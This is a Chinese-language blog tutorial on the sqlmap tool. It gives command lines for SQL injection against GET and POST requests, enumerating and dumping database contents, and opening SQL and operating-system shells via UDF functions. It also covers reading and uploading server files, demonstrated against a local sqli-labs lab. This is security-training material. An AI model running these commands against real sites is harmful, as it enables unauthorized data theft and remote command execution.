SQLMAP基础操作
前言
sqlmap功能很强大,是一款开源免费的漏洞检查、利用工具,它可以检测页面中get,post参数,cookie,http头等,数据榨取,文件系统的访问,实现操作命令的执行,对xss漏洞进行检测,基本上可以说是安全从业人员必备的一款神器之软件,也是迈入安全圈的必要条件,接下来介绍一些常用操作
正文
GET型注入与POST型注入
1.GET型
#1.跑出当前数据库
sqlmap -u [执行注入网址] --current-db(当前数据库) --batch(默认选择是) --threads 10 (使用10线程去注入,最高为10) --level 5 (注入程度,最高为5)--technique B(如果不设置类型则全部尝试一遍)
#2.跑出当前数据表
sqlmap -u [执行注入网址] -D [选择注入的数据库名] --tables(想要注入它的数据表) --batch --threads 10 --level 5 --technique B
#3.跑出数据列
sqlmap -u [执行注入网址] -D [选择注入的数据库名] -T [选择注入的数据表名] --columns(想要注入它的数据列) --batch --threads 10 --level 5 --technique B
#4.进行数据榨取
sqlmap -u [执行注入网址] -D [选择注入的数据库名] -T [选择注入的数据表名] -C [选择想要注入的数据列名](可多选,逗号分隔) --dump(进行数据榨取) --threads 10 --level 5 --technique B
2.POST型
SQLMAP可以从一个文本文件中获取HTTP请求,根据这个文本文件我们可以不设置其他参数,譬如Cookie,POST等,对文本中的Web数据包进行分析注入
1.使用抓包工具保存为文本文件(copy to file)
2.sqlmap -r参数进行注入
sqlmap -r [txt文件] --current-db
3.其它操作同上
SQLmap 运行自定义的SQL命令
假设能够注入执行,命令如下
# GET型
sqlmap -u [url] --sql-shell
# POST型
sqlmap -r [txt] --sql-shell
以sqli-labs/Less-1为例
sqlmap -u "http://192.168.223.132/sqli-labs/Less-1/?id=1" --sql-shell # GET型
尝试输入sql命令
sqlmap -r 1.txt --sql-shell # POST型
)
其它同上
SQLmap 运行任意操作系统命令
要求
(1)网站必须是root权限
(2)攻击者需要知道网站的绝对路径
(3)GPC为off,php主动转义的功能关闭
原理
在数据库为MySQL,PostgreSQL或Microsoft SQL SERVER,并且用户具有特定函数的时候,我们通过包含自定义的SQLmap可以自动的上传一个二进制库函数sys_exec()和sys_eval(),那么创
建的这两个函数就可以执行系统命令
UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段
sqlmap -u [url] --os-shell # GET型
sqlmap -r [txt] --os-shell # POST型
演示
sqlmap -r 1.txt --os-shell
[1]是根据常用的爆破出地址,[2]是已知路径自己填
选[2]输入路径后即可进入os-shell
SQLmap --file-read从服务器中读取文件
当用户权限足够大并且具有特定的函数,即可读取服务器中的文件,可以是文本,也可以是二进制文件
sqlmap -u [url] --file-read "[目标文件]" -v 1
SQLmap --file-write --file-dest上传文件到服务器中
这里想要上传的文件的位置在kali的当前目录下,使用前先cd到想要的目录下
sqlmap -u [url] --file-write [想要上传的文件] --file-dest "[目标文件的位置]" -v 1
其它命令
# 1.指定数据库类型
--dbms msyql --dbs
# 2.指定操作系统
--os windows --dbs
# 3.解决编码问题,将所有结果转换为字符串,并用空格替换NULL结果
--no-cast
# 4.关闭字符串转义机制
--no-escape
# 5.设置无效值替换
--invalid-bignum 大整数替换
--invalid-logical 布尔操作替换
--invalid-string 随机字符串替换
# 6.自定义注入负载位置
--prefix 设置前缀
--suffix 设置后缀
# 7.设置tamper脚本
--temper "xxx.py,xxx.py" -dbs
# 8.设置dbms认证
--dbms-cred="root:root" --dbs
# 9.设置具体sql注入技术
--technique B 布尔盲注
--technique E 报错注入
--technique U union查询注入
--technique S 堆叠注入
--technique T 时间盲注
--technique Q 内联查询注入
--time -sec X 时间盲注时间为X
# 10.指定union字段数
--union-cols 12-18 --dbs
# 11.指定union字符,默认是null
--union-char aaa --dbs
本文来自博客园,作者:icui4cu,转载请注明原文链接:https://www.cnblogs.com/icui4cu/p/15148971.html